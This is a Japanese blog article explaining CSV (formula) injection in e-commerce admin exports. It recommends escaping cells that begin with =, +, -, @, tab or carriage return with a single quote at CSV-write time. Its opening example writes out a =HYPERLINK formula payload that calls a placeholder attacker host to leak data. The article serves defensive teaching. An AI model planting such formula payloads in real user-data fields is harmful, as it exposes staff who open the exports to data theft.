CSVインジェクション:コードを実行してしまうエクスポートボタン

顧客が名前を入力します。彼らは =HYPERLINK("http://evil.example/leak", "click") と入力します。あなたのシステムはそれを受け入れます。見た目はただのテキストです。

数週間後、財務チームが顧客リストをCSVとしてエクスポートします。彼らがそのファイルをExcelで開くと、そのセルはもはやテキストではありません。それは数式になっています。

これがCSVインジェクションです。フォーミュラ(数式)インジェクションとも呼ばれます。これはeコマース管理パネルにおける一般的なバグです。ほとんどのチームはこれに対するテストを行っていません。

スプレッドシートアプリは、すべてのセルをテキストとして扱うわけではありません。セルが =, +, -, または @ で始まっている場合、ExcelやGoogleスプレッドシートはそれを数式として読み取ります。

数式は計算以上のことができます。URLを構築したり、ネットワークにアクセスしたりできます。場合によっては、コンピュータ上でコマンドを実行することさえ可能です。

データはデータベース内ではテキストのままです。しかし、人間がファイルを開いた瞬間に実行可能なものへと変わります。通常、被害に遭うのは高いアクセス権限を持つスタッフです。

ユーザーデータをエクスポートする場所はすべてリスクにさらされています:

  • 顧客名と住所のエクスポート
  • CSVにエクスポートされる注文グリッド
  • ベンダーからの商品フィード
  • お問い合わせフォームのダンプデータ

攻撃者に管理者権限は必要ありません。自分の名前を数式として設定し、待つだけです。

入力バリデーションの段階でこれを修正しようとしないでください。スプレッドシートが読み取るまでは、その値は正当なテキストです。代わりに、CSVファイルに書き込む際にデータをサニタイズしてください。

セルが =, +, -, @、タブ、またはキャリッジリターンで始まる場合は、先頭にシングルクォートを追加します。

ロジックの例: 値がトリガー文字で始まる場合、"'" + value を返す。

シングルクォートは、スプレッドシートに対してそのセルをテキストとして扱うよう指示します。スプレッドシートはユーザーに対してそのクォートを非表示にします。ファイルに書き込む前に、すべてのフィールドに対してこのチェックを実行してください。

データベース内のデータをエスケープしないでください。その値はデータベース内でもHTML内でも問題ありません。危険なのはCSVにおいてのみです。他の場所でデータをクリーンに保つために、CSVの境界線を保護してください。

社内のエクスポート機能を過信しないでください。攻撃者はこれらのファイルを通じてスタッフを標的にします。

CSVインジェクションは、恐ろしいスキャナーのアラートを発生させることはありません。それは、あなたが数年前に作成したエクスポートボタンの中に潜んでいます。今すぐCSVエクスポートのコードを確認してください。すべてのセルの最初の文字を保護していなければ、あなたはリスクにさらされています。

Source: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6